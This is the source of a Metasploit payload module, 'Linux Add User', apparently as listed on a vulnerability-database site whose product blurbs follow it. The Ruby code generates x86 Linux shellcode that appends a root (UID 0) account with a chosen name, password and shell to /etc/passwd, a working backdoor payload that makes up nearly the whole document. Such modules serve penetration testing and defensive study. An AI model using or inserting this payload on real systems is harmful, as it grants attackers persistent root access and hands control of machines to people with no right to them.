##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
###
#
# AddUser
# -------
#
# Adds a UID 0 user to /etc/passwd.
#
###
module MetasploitModule
CachedSize = 97
include Msf::Payload::Single
include Msf::Payload::Linux::X86::Prepends
def initialize(info = {})
super(merge_info(info,
'Name' => 'Linux Add User',
'Description' => 'Create a new user with UID 0',
'Author' => [ 'skape', 'vlad902', 'spoonm' ],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Privileged' => true))
# Register adduser options
register_options(
[
OptString.new('USER', [ true, "The username to create", "metasploit" ]),
OptString.new('PASS', [ true, "The password for this user", "metasploit" ]),
OptString.new('SHELL', [ false, "The shell for this user", "/bin/sh" ]),
])
end
#
# Dynamically builds the adduser payload based on the user's options.
#
def generate(opts={})
user = datastore['USER'] || 'metasploit'
pass = datastore['PASS'] || 'metasploit'
shell = datastore['SHELL'] || '/bin/sh'
str = "#{user}:#{pass.crypt('Az')}:0:0::/:#{shell}\n"
payload =
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58" +
"\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70" +
"\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd" +
"\x80\x93" + Rex::Arch::X86.call(str.length) + str +
"\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58" +
"\xcd\x80"
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation